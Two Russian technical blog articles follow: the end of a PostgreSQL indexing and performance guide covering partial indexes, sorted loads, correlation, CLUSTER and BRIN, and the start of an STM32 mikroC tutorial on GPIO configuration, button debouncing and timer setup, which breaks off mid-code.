Когда мы запросили количество активных пользователей, база не использовала индекс. А когда запросили количество неактивированных, база использовала индекс.
Возникает вопрос: если база не собирается пользоваться индексом для отфильтровывания активных пользователей, зачем нам индексировать их в первую очередь?
Прежде чем ответить на это вопрос, давайте посмотрим на вес полного индекса по колонке `activated`:
```
db=# \di+ users_activated_ix
Schema | Name | Type | Owner | Table | Size
--------+--------------------+-------+-------+-------+------
public | users_activated_ix | index | haki | users | 21 MB
```
Индекс весит 21 Мб. Просто для справки: таблица с пользователями занимает 65 Мб. То есть вес индекса ~32 % веса базы. При этом мы знаем, что ~90 % содержимого индекса вряд ли будет использоваться.
В PostgreSQL можно создавать индекс только для части таблицы — так называемый [частичный индекс](https://www.postgresql.org/docs/current/indexes-partial.html):
```
db=# CREATE INDEX users_unactivated_partial_ix ON users(id)
db-# WHERE not activated;
CREATE INDEX
```
С помощью выражения `WHERE` мы ограничиваем охватываемые индексом строки. Давайте проверим, сработает ли:
```
db=# EXPLAIN SELECT * FROM users WHERE not activated;
QUERY PLAN
------------------------------------------------------------------------------------------------
Index Scan using users_unactivated_partial_ix on users (cost=0.29..3493.60 rows=102567 width=38)
```
Отлично, база оказалась достаточно умной и поняла, что использованный нами в запросе логическое выражение может подойти для частичного индекса.
У такого подхода есть ещё одно преимущество:
```
db=# \di+ users_unactivated_partial_ix
List of relations
Schema | Name | Type | Owner | Table | Size
--------+------------------------------+-------+-------+-------+---------
public | users_unactivated_partial_ix | index | haki | users | 2216 kB
```
Полный индекс по колонке весит 21 Мб, а частичный — всего 2,2 Мб. То есть 10 %, что соответствует доле неактивированных пользователей в таблице.
Всегда загружайте отсортированные данные
----------------------------------------
Это один из самых частых моих комментариев при разборе кода. Совет не столь интуитивный, как остальные, и может оказать огромное влияние на производительность.
Допустим, у вас есть огромная таблица с конкретными продажами:
```
db=# CREATE TABLE sale_fact (id serial, username text, sold_at date);
CREATE TABLE
```
Каждую ночь в ходе ETL-процесса вы загружаете данные в таблицу:
```
db=# INSERT INTO sale_fact (username, sold_at)
db-# SELECT
db-# md5(random()::text) AS username,
db-# '2020-01-01'::date + (interval '1 day') * round(random() * 365 * 2) AS sold_at
db-# FROM
db-# generate_series(1, 100000);
INSERT 0 100000
db=# VACUUM ANALYZE sale_fact;
VACUUM
```
Чтобы сымитировать загрузку, используем случайные данные. Вставили 100 тыс. строк со случайными именами, а даты продаж за период с 1 января 2020 и на два года вперёд.
По большей части таблица используется для итоговых отчётов о продажах. Чаще всего фильтруют по дате, чтобы посмотреть продажи за определённый период. Чтобы ускорить сканирование диапазона, создадим индекс по `sold_at`:
```
db=# CREATE INDEX sale_fact_sold_at_ix ON sale_fact(sold_at);
CREATE INDEX
```
Взглянем на план исполнения запроса на извлечение всех продаж в июне 2020:
```
db=# EXPLAIN (ANALYZE)
db-# SELECT *
db-# FROM sale_fact
db-# WHERE sold_at BETWEEN '2020-07-01' AND '2020-07-31';
QUERY PLAN
-----------------------------------------------------------------------------------------------
Bitmap Heap Scan on sale_fact (cost=108.30..1107.69 rows=4293 width=41)
Recheck Cond: ((sold_at >= '2020-07-01'::date) AND (sold_at <= '2020-07-31'::date))
Heap Blocks: exact=927
-> Bitmap Index Scan on sale_fact_sold_at_ix (cost=0.00..107.22 rows=4293 width=0)
Index Cond: ((sold_at >= '2020-07-01'::date) AND (sold_at <= '2020-07-31'::date))
Planning Time: 0.191 ms
Execution Time: 5.906 ms
```
Прогнав запрос несколько раз, чтобы прогреть кэш, длительность исполнения стабилизировалась на уровне 6 мс.
#### Сканирование по битовой карте (Bitmap Scan)
В плане исполнения мы видим, что база использовала сканирование по битовой карте. Оно проходит в два этапа:
* `Построение битовой карты (Bitmap Index Scan)`: база проходит по всему индексу `sale_fact_sold_at_ix` и находит все страницы таблицы, содержащие релевантные строки.
* `Сканирование по битовой карте (Bitmap Heap Scan)`: база считывает страницы, содержащие релевантные строки, и находит те из них, что удовлетворяют условию.
Страницы могут содержать много строк. На первом этапе индекс используется для поиска *страниц*. На втором этапе ищутся *строки* в страницах, отсюда следует операция `Recheck Cond` в плане исполнения.
На этом моменте многие администраторы баз данных и разработчики закруглятся и перейдут к следующему запросу. Но есть способ улучшить этот запрос.
#### Индексное сканирование (Index Scan)
Внесём небольшое изменение в загрузку данных.
```
db=# TRUNCATE sale_fact;
TRUNCATE TABLE
db=# INSERT INTO sale_fact (username, sold_at)
db-# SELECT
db-# md5(random()::text) AS username,
db-# '2020-01-01'::date + (interval '1 day') * round(random() * 365 * 2) AS sold_at
db-# FROM
db-# generate_series(1, 100000)
db-# ORDER BY sold_at;
INSERT 0 100000
db=# VACUUM ANALYZE sale_fact;
VACUUM
```
На этот раз мы загрузили данные, отсортированные по `sold_at`.
Теперь план исполнения того же запроса выглядит так:
```
db=# EXPLAIN (ANALYZE)
db-# SELECT *
db-# FROM sale_fact
db-# WHERE sold_at BETWEEN '2020-07-01' AND '2020-07-31';
QUERY PLAN
---------------------------------------------------------------------------------------------
Index Scan using sale_fact_sold_at_ix on sale_fact (cost=0.29..184.73 rows=4272 width=41)
Index Cond: ((sold_at >= '2020-07-01'::date) AND (sold_at <= '2020-07-31'::date))
Planning Time: 0.145 ms
Execution Time: 2.294 ms
```
После нескольких прогонов длительность исполнения стабилизировалась на уровне 2,3 мс. Мы получили устойчивую экономию примерно в 60 %.
Также мы видим, что в этот раз база не стала использовать сканирование по битовой карте, а применила «обычное» индексное сканирование. Почему?
#### Корреляция
Когда база анализирует таблицу, она собирает всю возможную статистику. Одним из параметров является [**корреляция**](https://www.postgresql.org/docs/current/view-pg-stats.html):
> Статистическая корреляция между физическим порядком строк и логическим порядком значений в колонках. Если значение около -1 или +1, индексное сканирование по колонке считается выгоднее, чем когда значение корреляции около 0, поскольку снижается количество случайных обращений к диску.
Как объясняется в официальной документации, корреляция является мерой того, как «отсортированы» значения в конкретной колонке на диске.
*Корреляция = 1.*
Если корреляция равна 1 или около того, это означает, что страницы хранятся на диске примерно в том же порядке, что и строки в таблице. Такое встречается очень часто. Например, у автоинкрементирующихся ID корреляция обычно близка к 1. У колонок с датами и временными метками, которые показывают, когда были созданы строки, корреляция тоже близка к 1.
Если корреляция равна -1, страницы отсортированы в обратном порядке относительно колонок.
*Корреляция ~ 0.*
Если корреляция близка к 0, это означает, что значения в колонке не коррелируют или почти не коррелируют с порядком страниц в таблице.
Вернёмся к `sale_fact`. Когда мы загрузили данные в таблицу без предварительной сортировки, корреляции были такими:
```
db=# SELECT tablename, attname, correlation
db-# FROM pg_stats
db=# WHERE tablename = 'sale_fact';
tablename | attname | correlation
-----------+----------+--------------
sale | id | 1
sale | username | -0.005344716
sale | sold_at | -0.011389783
```
У автоматически сгенерированного ID колонки корреляция равна 1. У колонки `sold_at` корреляция очень низкая: последовательные значения разбросаны по всей таблице.
Когда мы загрузили отсортированные данные в таблицу, она вычислила корреляции:
```
tablename | attname | correlation
-----------+----------+----------------
sale_fact | id | 1
sale_fact | username | -0.00041992788
sale_fact | sold_at | 1
```
Теперь корреляция `sold_at` равна `1`.
Так почему база использовала сканирование по битовой карте, когда корреляция была низкой, а при высокой корреляции применила индексное сканирование?
* Когда корреляция была равна 1, база определила, что строки запрошенного диапазона, вероятно, будут в последовательных страницах. Тогда для чтения нескольких страниц лучше использовать индексное сканирование.
* Когда корреляция была близка к 0, база определила, что строки запрошенного диапазона, вероятно, будут разбросаны по всей таблице. Тогда целесообразно использовать сканирование по битовой карте тех страниц, в которых есть нужные строки, и только потом извлекать их с применением условия.
Когда в следующий раз будете загружать данные в таблицу, подумайте о том, сколько информации будет запрашиваться, и отсортируйте так, чтобы индексы могли быстро сканировать диапазоны.
#### Команда CLUSTER
Другой способ «сортировки таблицы на диске» по конкретному индексу заключается в использовании команды [CLUSTER](https://www.postgresql.org/docs/current/sql-cluster.html).
Например:
```
db=# TRUNCATE sale_fact;
TRUNCATE TABLE
-- Insert rows without sorting
db=# INSERT INTO sale_fact (username, sold_at)
db-# SELECT
db-# md5(random()::text) AS username,
db-# '2020-01-01'::date + (interval '1 day') * round(random() * 365 * 2) AS sold_at
db-# FROM
db-# generate_series(1, 100000)
INSERT 0 100000
db=# ANALYZE sale_fact;
ANALYZE
db=# SELECT tablename, attname, correlation
db-# FROM pg_stats
db-# WHERE tablename = 'sale_fact';
tablename | attname | correlation
-----------+-----------+----------------
sale_fact | sold_at | -5.9702674e-05
sale_fact | id | 1
sale_fact | username | 0.010033822
```
Мы загрузили данные в таблицу в случайном порядке, поэтому корреляция `sold_at` близка к нулю.
Чтобы «перекомпоновать» таблицу по `sold_at`, используем команду `CLUSTER` для сортировки таблицы на диске в соответствии с индексом `sale_fact_sold_at_ix`:
```
db=# CLUSTER sale_fact USING sale_fact_sold_at_ix;
CLUSTER
db=# ANALYZE sale_fact;
ANALYZE
db=# SELECT tablename, attname, correlation
db-# FROM pg_stats
db-# WHERE tablename = 'sale_fact';
tablename | attname | correlation
-----------+----------+--------------
sale_fact | sold_at | 1
sale_fact | id | -0.002239401
sale_fact | username | 0.013389298
```
После кластеризации таблицы корреляция `sold_at` стала равна 1.
*Команда CLUSTER.*
Что нужно отметить:
* Кластеризация таблицы по конкретной колонке может повлиять на корреляцию другой колонки. Например, взгляните на корреляцию ID после кластеризации по `sold_at`.
* `CLUSTER` — тяжёлая и блокирующая операция, поэтому не применяйте её к живой таблице.
По этим причинам лучше вставлять уже отсортированные данные и не полагаться на `CLUSTER`.
Колонки с высокой корреляцией индексируйте с помощью BRIN
---------------------------------------------------------
Когда речь заходит об индексах, многие разработчики думают о В-деревьях. Но PostgreSQL предлагает и другие типы индексов, например, [BRIN](https://www.postgresql.org/docs/current/brin.html):
> BRIN спроектирован для работы с очень большими таблицами, в которых некоторые колонки обладают естественной корреляцией со своим физическим местоположением внутри таблицы
BRIN означает Block Range Index. Согласно документации, BRIN лучше всего работает с колонками, имеющими высокую корреляцию. Как мы уже видели в предыдущих главах, автоинкрементирующиеся ID и временные метки естественным образом коррелируют с физической структурой таблицы, поэтому для них выгоднее использовать BRIN.
При определённых условиях BRIN может обеспечить лучшее «соотношение цены и качества» с точки зрения размера и производительности по сравнению с аналогичным индексом типа B-дерево.
*BRIN.*
BRIN диапазон значений в пределах нескольких соседних страниц в таблице. Допустим, у нас в колонке есть такие значения, каждое в отдельной странице:
```
1, 2, 3, 4, 5, 6, 7, 8, 9
```
BRIN работает с диапазонами соседних страниц. Если задать три смежные страницы, индекс разделит таблицу на диапазоны:
```
[1,2,3], [4,5,6], [7,8,9]
```
Для каждого диапазона BRIN **хранит минимальное и максимальное значение**:
```
[1–3], [4–6], [7–9]
```
Давайте с помощью этого индекса поищем значение 5:
* [1–3] — здесь его точно нет.
* [4–6] — может быть здесь.
* [7–9] — здесь его точно нет.
С помощью BRIN мы ограничили зону поиска блоком 4–6.
Возьмём другой пример. Пусть значения в колонке будут иметь корреляцию близкой к нулю, то есть они *не* отсортированы:
```
[2,9,5], [1,4,7], [3,8,6]
```
Индексирование трёх соседних блоков даст нам такие диапазоны:
```
[2–9], [1–7], [3–8]
```
Поищем значение 5:
* [2–9] — может быть здесь.
* [1–7] — может быть здесь.
* [3–8] — может быть здесь.
В этом случае индекс вообще не сужает область поиска, поэтому он бесполезен.
#### Разбираемся с pages\_per\_range
Количество смежных страниц определяется параметром `pages_per_range`. Количество страниц в диапазоне влияет на размер и точность BRIN:
* Большое значение `pages_per_range` даст маленький и менее точный индекс.
* Маленькое значение `pages_per_range` даст большой и более точный индекс.
По умолчанию значение `pages_per_range` равно 128.
*BRIN с более низким значением pages\_per\_range.*
Для иллюстрации создадим BRIN с диапазонами по две страницы и поищем значение 5:
* [1–2] — здесь его точно нет.
* [3–4] — здесь его точно нет.
* [5–6] — может быть здесь.
* [7–8] — здесь его точно нет.
* [9] — здесь его точно нет.
При двухстраничном диапазоне мы можем ограничить зону поиска блоками 5 и 6. Если диапазон будет трёхстраничным, индекс ограничит зону поиска блоками 4, 5 и 6.
Другим различием между двумя индексами является то, что когда диапазон равнялся трём страницам, нам нужно было хранить три диапазона, а при двух страницах в диапазоне мы получаем уже пять диапазонов и индекс увеличивается.
#### Создаём BRIN
Возьмём таблицу `sales_fact` и создадим BRIN по колонке `sold_at`:
```
db=# CREATE INDEX sale_fact_sold_at_bix ON sale_fact
db-# USING BRIN(sold_at) WITH (pages_per_range = 128);
CREATE INDEX
```
По умолчанию значение `pages_per_range = 128`.
Теперь запросим период дат продаж:
```
db=# EXPLAIN (ANALYZE)
db-# SELECT *
db-# FROM sale_fact
db-# WHERE sold_at BETWEEN '2020-07-01' AND '2020-07-31';
QUERY PLAN
--------------------------------------------------------------------------------------------
Bitmap Heap Scan on sale_fact (cost=13.11..1135.61 rows=4319 width=41)
Recheck Cond: ((sold_at >= '2020-07-01'::date) AND (sold_at <= '2020-07-31'::date))
Rows Removed by Index Recheck: 23130
Heap Blocks: lossy=256
-> Bitmap Index Scan on sale_fact_sold_at_bix (cost=0.00..12.03 rows=12500 width=0)
Index Cond: ((sold_at >= '2020-07-01'::date) AND (sold_at <= '2020-07-31'::date))
Execution Time: 8.877 ms
```
База с помощью BRIN получила период дат, но в этом ничего интересного…
#### Оптимизируем pages\_per\_range
Согласно плану исполнения, база убрала из страниц 23 130 строк, которые нашла с помощью индекса. Это может говорить о том, что заданный нами для индекса диапазон слишком велик для этого запроса. Создадим индекс с вдвое меньшим количеством страниц в диапазоне:
```
db=# CREATE INDEX sale_fact_sold_at_bix64 ON sale_fact
db-# USING BRIN(sold_at) WITH (pages_per_range = 64);
CREATE INDEX
db=# EXPLAIN (ANALYZE)
db- SELECT *
db- FROM sale_fact
db- WHERE sold_at BETWEEN '2020-07-01' AND '2020-07-31';
QUERY PLAN
---------------------------------------------------------------------------------------------
Bitmap Heap Scan on sale_fact (cost=13.10..1048.10 rows=4319 width=41)
Recheck Cond: ((sold_at >= '2020-07-01'::date) AND (sold_at <= '2020-07-31'::date))
Rows Removed by Index Recheck: 9434
Heap Blocks: lossy=128
-> Bitmap Index Scan on sale_fact_sold_at_bix64 (cost=0.00..12.02 rows=6667 width=0)
Index Cond: ((sold_at >= '2020-07-01'::date) AND (sold_at <= '2020-07-31'::date))
Execution Time: 5.491 ms
```
При 64 страницах в диапазоне база удалила меньше строк, найденных с помощью индекса — 9 434. Значит, ей пришлось делать меньше операций ввода-вывода, а запрос выполнился чуть быстрее, за ~5,5 мс вместо ~8,9.
Протестируем индекс с разными значениями `pages_per_range`:
| | |
| --- | --- |
| **pages\_per\_range** | **Убрано строк при перепроверке индекса** |
| 128 | 23 130 |
| 64 | 9 434 |
| 8 | 874 |
| 4 | 446 |
| 2 | 446 |
При уменьшении `pages_per_range` индекс становится точнее, а из найденных с его помощью страниц удаляется меньше строк.
Обратите внимание, что мы оптимизировали совершенно конкретный запрос. Для иллюстрации годится, но в реальной жизни лучше использовать значения, которые соответствуют потребностям большинства запросов.
#### Оценка размера индекса
Другим важным преимуществом BRIN является его размер. В предыдущих главах мы для поля `sold_at` создали индекс на основе В-дерева. Его размер был 2 224 Кб. А размер BRIN с параметром `pages_per_range=128` всего 48 Кб: в 46 раз меньше.
```
Schema | Name | Type | Owner | Table | Size
--------+-----------------------+-------+-------+-----------+-------
public | sale_fact_sold_at_bix | index | haki | sale_fact | 48 kB
public | sale_fact_sold_at_ix | index | haki | sale_fact | 2224 kB
```
На размер BRIN также влияет `pages_per_range`. К примеру, BRIN с `pages_per_range=2` весит 56 Кб, чуть больше 48 Кб.
Делайте индексы «невидимыми»
----------------------------
В PostgreSQL есть классная фича [transactional DDL](https://wiki.postgresql.org/wiki/Transactional_DDL_in_PostgreSQL:_A_Competitive_Analysis#Transactional_DDL). За годы работы с Oracle я привык в конце транзакций использовать такие DDL-команды, как `CREATE`, `DROP` и `ALTER`. Но в PostgreSQL выполнять DDL-команды можно внутри транзакции, а изменения будут применены только после коммита транзакции.
Недавно я [обнаружил](https://twitter.com/be_haki/status/1282585977668751360?s=20), что использование транзакционного DDL может сделать индексы невидимыми! Это полезно, когда хочется увидеть план исполнения без индексов.
Например, в таблице `sale_fact` мы создали индекс по колонке `sold_at`. План исполнения запроса на извлечение июльских продаж выглядит так:
```
db=# EXPLAIN
db-# SELECT *
db-# FROM sale_fact
db-# WHERE sold_at BETWEEN '2020-07-01' AND '2020-07-31';
QUERY PLAN
--------------------------------------------------------------------------------------------
Index Scan using sale_fact_sold_at_ix on sale_fact (cost=0.42..182.80 rows=4319 width=41)
Index Cond: ((sold_at >= '2020-07-01'::date) AND (sold_at <= '2020-07-31'::date))P
```
Чтобы увидеть, как выглядел бы план, если бы индекса `sale_fact_sold_at_ix` не было, можно поместить индекс внутрь транзакции и немедленно откатиться:
```
db=# BEGIN;
BEGIN
db=# DROP INDEX sale_fact_sold_at_ix;
DROP INDEX
db=# EXPLAIN
db-# SELECT *
db-# FROM sale_fact
db-# WHERE sold_at BETWEEN '2020-07-01' AND '2020-07-31';
QUERY PLAN
---------------------------------------------------------------------------------
Seq Scan on sale_fact (cost=0.00..2435.00 rows=4319 width=41)
Filter: ((sold_at >= '2020-07-01'::date) AND (sold_at <= '2020-07-31'::date))
db=# ROLLBACK;
ROLLBACK
```
Сначала начнём транзакцию с помощью `BEGIN`. Затем дропнем индекс и сгенерируем план исполнения. Обратите внимание, что план теперь использует полное сканирование таблицы, словно индекса не существует. В этот момент транзакция всё ещё выполняется, поэтому индекс пока не дропнут. Для завершения транзакции без дропа индекса откатим её с помощью команды `ROLLBACK`.
Проверим, что индекс ещё существует:
```
db=# \di+ sale_fact_sold_at_ix
List of relations
Schema | Name | Type | Owner | Table | Size
--------+----------------------+-------+-------+-----------+---------
public | sale_fact_sold_at_ix | index | haki | sale_fact | 2224 kB
```
Другие базы, которые не поддерживают транзакционный DDL, позволяют достичь цели иначе. Например, Oracle позволяет вам пометить индекс как [невидимый](https://docs.oracle.com/cd/B28359_01/server.111/b28310/indexes003.htm#ADMIN12317), и тогда оптимизатор будет его игнорировать.
**Внимание**: если дропнуть индекс внутри транзакции, это приведёт к блокировке конкурентных операций `SELECT`, `INSERT`, `UPDATE` и `DELETE` в таблице, пока транзакция будет активна. Осторожно применяйте в тестовых средах и избегайте применения в эксплуатационных базах.
Не планируйте начало длительных процессов на начало любого часа
---------------------------------------------------------------
Инвесторы знают, что могут происходить странные события, когда цена акций достигает красивых круглых значений, например, 10$, 100$, 1000$. Вот [что об этом пишут](https://www.investopedia.com/trading/support-and-resistance-basics/#mntl-sc-block_1-0-38):
> [...] цена активов может непредсказуемо меняться, пересекая круглые значения вроде $50 или $100 за акцию. Многие неопытные **трейдеры любят покупать или продавать активы, когда цена достигает круглых чисел**, потому что им кажется, что это справедливые цены.
С этой точки зрения разработчики не слишком отличаются от инвесторов. Когда им нужно запланировать длительный процесс, они обычно выбирают какой-то час.
*Типичная ночная нагрузка на систему.*
Это может привести к всплескам нагрузки в эти часы. Так что если вам нужно запланировать длительный процесс, то больше шансов, что в другое время система будет простаивать.
Также рекомендуется применять в расписаниях случайные задержки, чтобы не запускаться каждый раз в одно и то же время. Тогда даже если на этот час запланирована другая задача, это не будет большой проблемой. Если вы применяете таймер systemd, можете воспользоваться опцией [RandomizedDelaySec](https://www.freedesktop.org/software/systemd/man/systemd.timer.html#RandomizedDelaySec=).
Заключение
----------
В статье приведены советы разной степени очевидности на основе моего опыта. Некоторые из них легко внедрить, некоторые требуют глубокого понимания принципов работы баз данных. Базы — это каркас большинства современных систем, так что время, потраченное на изучение их работы, будет хорошим вложением для любого разработчика! | https://habr.com/ru/post/513968/ | null | ru | null |
# Первые шаги с STM32 и компилятором mikroC для ARM архитектуры — Часть 2, начало…
Разобравшись с азами и поморгав светодиодом, можно переходить к реализации более сложных задач. Благо компилятор microC имеет множество полезных функций, значительно упрощающих жизнь программисту, в особенности начинающему.
В прошлой части я рассказывал как реализовать опрос состояния порта МК, например для опроса подключенной к ней кнопки. Вообще порт в STM32 МК устроен весьма сложно. Вот схема GPIO порта из мануала:
Вывод порта может работать в нескольких режимах, непосредственно как цифровой порт, кроме этого многие выводы могут использоватся как входы АЦП, выходы ШИМ модулятора, входы внешних прерываний, аппаратных последовательных SPI и I2C интрефейсов. *(например PA6 это непосредственно 6 вывод порта А, 6 вход АЦП, выход 1 канала 3-го ШИМ модулятора / таймера и сигнал MISO 1-го SPI интерфейса).*
В microC для расширенной конфигурации GPIO есть функция
```
GPIO_Set_Pin_Mode(&port_base, pin, config);
```
* **&port\_base** — указатель на порт GPIO (*&GPIOE\_BASE для порта Е или, например, &GPIOА\_BASE для порта А*);
* **pin** — вывод порта с которым мы работаем (*\_GPIO\_PIN\_5 для 5 вывода или, например, \_GPIO\_PIN\_ALL для всех выводов порта*);
* **config** — режим работы порта (*несколько параметров записываем через оператор **|***);
+ ***\_GPIO\_CFG\_MODE\_INPUT*** — Сконфигурирован на вход;
- ***\_GPIO\_CFG\_PULL\_UP*** — Включен подтягивающий резистор на +Vcc;
- ***\_GPIO\_CFG\_PULL\_DOWN*** — Включен стягивающий резистор на GND;.
- ***\_GPIO\_CFG\_PULL\_NO*** — Подтягивающий и стягивающий резисторы отключены;
+ ***\_GPIO\_CFG\_MODE\_ALT\_FUNCTION*** — Вывод использован как вход/выход встроенного периферийного модуля, например UART или SPI
+ ***\_GPIO\_CFG\_MODE\_ANALOG*** — Вывод используется как вход АЦП (в микроконтроллерах с встроенным ЦАП — как выход ЦАП);
+ ***\_GPIO\_CFG\_MODE\_OUTPUT*** — Сконфигурирован на выход;
- ***\_GPIO\_CFG\_OTYPE\_OD*** — Включен режим работы "Открытый сток";
- ***\_GPIO\_CFG\_OTYPE\_PP*** — Включен режим работы "push-pull" ("двухтактный выход", его чаще всего и используют);
+ ***\_GPIO\_CFG\_SPEED\_MAX*** — Скорость работы GPIO, MAX для работы на полной скорости, которую обеспечивает APB допустимо использовать 400KHZ, 2MHZ, 10MHZ, 40MHZ, 50MHZ, 100MHZ.
В прошлой части мы конфигурировали вывод порта на вход командой
```
GPIO_Digital_Input (&GPIOb_BASE, _GPIO_PINMASK_8);
```
По другому это можно сделать:
```
GPIO_Set_Pin_Mode(&GPIOb_BASE, _GPIO_PINMASK_8, _GPIO_CFG_MODE_INPUT | _GPIO_CFG_PULL_NO);
```
То-же но включив подтяжку к питанию:
```
GPIO_Set_Pin_Mode(&GPIOb_BASE, _GPIO_PINMASK_8, _GPIO_CFG_MODE_INPUT | _GPIO_CFG_PULL_UP);
```
По умолчанию, microC инициализируя порт на вход (**GPIO\_Digital\_Input()**) не подключает подтягивающие резисторы к пину МК, поэтому если одни нужны, то пользуемся ****GPIO\_Set\_Pin\_Mode()**** с дополнительными параметрами.
В прошлой части я уже рассказывал как при помощи МК опросить состояние входа, к которому подключена кнопка. В реале при использовании кнопок очень желательно вводить защиту от дребезга контактов (что это можно почитать на необъятных просторах Сети). В двух словах, это выдача механическим контактом, вместо одинарного, пачки случайных импульсов. МК может считать их и некорректно обработать. Существуют как аппаратные способы защити от дребезга (например емкость параллельно кнопке или триггер Шмидта) так и преогромные, коих описано великое множество. microC для подавления дребезга контактов есть специальная функция
```
Button(&port_base, pin, delay, state)
```
Данной функции мы передаем \***port\_base** (например &GPIOb\_BASE ); **pin** — номер вывода порта МК; **delay** — время, импульсы с длительностью меньше которого считаются дребезгом (например 1мс) и **state** — активное состояние (выокий или низкиий уровень на входе порта контролирует функция).
Немного изменим программу из первой части, введя в нее программную защиту от дребезга кнопки:
```
void main()
{
GPIO_Digital_Output(&GPIOb_BASE, _GPIO_PINMASK_1);
GPIO_Digital_Input(&GPIOb_BASE, _GPIO_PINMASK_8); // Настраиваем вывод PB8 на вход
GPIOb_ODR.b1 = 0;
while(1)
{
if (Button(&GPIOb_IDR, 8, 1, 1)) // кнопка на порту PB(GPIOb), пин №8, задержка 1 мс, активное состояние (кнопка нажата) - высокий уровень. Функция вернет 1 если высокий уровень на входе продлится 1 мс, все импульсы короче - это дребезг, и не обрабатываются
{
GPIOb_ODR.b1=~GPIOb_ODR.b1;
Delay_ms(500); //Задержка 500 мс
}
else
{
GPIOb_ODR.b1 = 0; //Если кнопку отпустили, погасить светодиод
}
}
}
```
При нажатие на кнопку видим мигающий светодиод. Теперь сделаем чтобы светодиод при первом нажатии начинал моргать, а при следующем переставал.
```
unsigned short state = 0; // объявим переменную, в которой будем хранить нужные нам данные, в этой программе мы используем 2 бита (2 - используется для контроля отпускания кнопки и 1 - мигает или не мигает наш светодиод.)
void main()
{
GPIO_Digital_Output(&GPIOb_BASE, _GPIO_PINMASK_1);
GPIO_Digital_Input(&GPIOb_BASE, _GPIO_PINMASK_8);
GPIOb_ODR.b1 = 0;
while(1)
{
if (Button(&GPIOb_IDR, 8, 1, 1)) // кнопка нажата
state.b2=1; // ставим флаг нажатой кнопки
if (state.b2 && Button(&GPIOb_IDR, 8, 1, 0)) // кнопка отжалась, но в прошлом проходе цикла была нажата, значит включим/выключим наш светодиод
{
state.b2 = 0; // сбросим флаг нажатой кнопки
state.b1= ~state.b1; // инвертируем флаг включенного светодиода
}
if (state.b1) // если флаг светодиода установлен то мигаем им
{
GPIOb_ODR.b1=~GPIOb_ODR.b1;
Delay_ms(250);
}
else
{
GPIOb_ODR.b1 = 0;
}
Delay_ms(1);
}
}
```
Теперь по нажатию на кнопку светодиод начинает мигать, а по следующему нажатию перестает (должен во всяком случае) Но так происходит не всегда… Причина в том что **Delay\_ms(250)** это по сути 250 мс перебора пустого цикла ядром МК. В это время он только этим и занят, и напрочь игнорирует любые внешние воздействия на него (ну кроме ресет и отключения питания конечно, шутка юмора:))
Для того чтобы не занимать драгоценные такты микроконтроллера формированием временных интервалов у него существуют специальные блоки, называемые таймерами. У STM32 их количество доходит 14. Они имеют немного разные параметры настройки и могут использоваться не только для отсчета временных отрезков, но и например для генерации ШИМ. По сути каждый таймер представляет собой регистр **TIMx\_CNT** (у STM 32 они 16 разрядные) который инкриметируется через определенное количество тактового тактового генератора МК (Точнее шины APB1 (*для таймера Timer1 — APB2*)к которой он подключен). Сколько тактов APB для увеличения значения регистра таймера на 1 должно пройти, указывает регистр предделителя, **TIMx\_PSC** , на 16-разрядное значение в котором делится частота тактовой шины.
У STM32F103 — 7 таймеров,
* **TIM1 — Advanced-control timers**, таймеры позволяющие расширенную настройку параметров (например формирование импульсов необходимых для работы преобразователей частоты используемых в электроприводе). В дальнейшей мы вернемся к ней в наших статьях. TIM1 имеет 4 канала ШИМ модулатора;
* **TIM2, TIM3, TIM4 — General-purpose timers** — Таймеры общего назначения. Их чаще всего используют, TIM2, TIM3, TIM4 имеют по 4 канала ШИМ модулатора;
* **WDT — Wachdog timer** — Таймер, используемый для предотвращения зависания МК;
* **SysTick timer** — 24 битный счетчик тактов ядра МК, используется, например, для оценки загрузки ядра .
Для настройки таймеров используется множество регистров (параметров таймеров тоже очень даже не мало). Мы будем обращаться к тем параметрам, которые нам нужны при решении той или иной задачи.
Основные регистры каждого таймера:
* **TIMx\_CNT** — Собственно счетный регистр;
* **TIMx\_PSC** — Предделитель частоты, коэффициент предделителя равен **TIMx\_PSC + 1**(не забывайте это, чтобы не попасть в ситуацию: "как не работает?" :)) ;
* **TIMx\_ARR** — Значение счетного регистра, при достижении которого таймер обнуляется и генерируется прерывание (о них ниже);
* **TIMx\_CR1** — Регистр параметров таймера;
* **TIMх\_DIER** — Регистр настойки прерванный и DMAтаймера;
* **TIMх\_SR** — Регистр статуса таймера, в нем например присутствует флаг, показывающий срабатывание прерываня.
При обнулении таймера, если это разрешено программно генерируется прерывание (**interrupt**). Прерывание это вызов определенного участка кода программы по некому событию. Источниками прерываний могут быть встроенные блоки МК, входы имеющие функцию создания прерывания (int) а также блок DMA. Фактически при поступлении прерывания МК переходит от выполнения основного кода к выполнению определенной подпрограммы, по окончании выполнения которой он возвращается в основной код (особая история когда при обработке одного прерывания возникает другое, но на этом акцентировать внимание пока не будем). В STM32 имеется более 70 так называемых векторов прерываний — событий инициирующих выполнения подпрограммы — обработчика прерывания. ПО умолчанию все прерывания запрещены. Для разрешения прерывания от того или иного блока необходимо изменить конфигурационные биты в управляющих регистрах того или иного блока МК. В microC для включения прерывания используется команда
```
NVIC_IntEnable(NVIC_name) //NVIC_name - название вектора прерывания
```
Вообще в microC есть очень полезная функция, называемая **"Code assistant"**. Вызывается она по нажатию комбинации клавиш ***Ctrl+Spase***. Она полезна когда не помнишь точное название какого-то параметра. Набрав начальные символы, компилятор сам предложит завершить команду, выбрав из возможных значений. Например набрав "NVIC*IntEnable(NVIC*" b и вызвав **"Code assistant"** имеем:
аналогично с параметрам регистров управления. Например набрав "**TIM4\_CR1bits.**", получаем:
*Внимательные читатели заметили что для доступа к отдельному биту регистра я использовал выражение типа **REGx.by**, например*
```
GPIOb_ODR.b1=0; \\1 бит регистра GPIOb_ODR
TIM4_CR1.CEN \\ бит CEN регистра TIM4_CR1
```
*есть и другая форма записи того же самого действия, причем **"Code assistant"** нормально работает только с ней*
```
GPIOb_ODRbits.ODR1=1; \\1 бит регистра GPIOb_ODR
TIM4_CR1bits.CEN \\ бит CEN регистра TIM4_CR1
```
Для настройки нашего таймера необходимо выполнить следующие действия
```
RCC_APB1ENR.TIM2EN = 1; //Подаем тактирование от шины APB1 (1/2 частоты ядра, 72/2=36 МГц) на таймер 2, по умолчанию оно отключено
TIM2_CR1.CEN = 0; //Отключаем таймер 2, при включённом таймере не устанавливаются многие конфигурационные биты
TIM2_PSC = 7199; //Устанавливаем частоту делителя, 7199+1 = 7200, при частоте на входе предделителя 72 МГц вход таймера тактируется с частотой 10 KГц
TIM2_ARR = 5000; //Устанавливаем значение таймера при котором произойдет генерация прерывания и обнуление таймера
NVIC_IntEnable(IVT_INT_TIM2); //Разрешаем вектор прерывания по таймеру
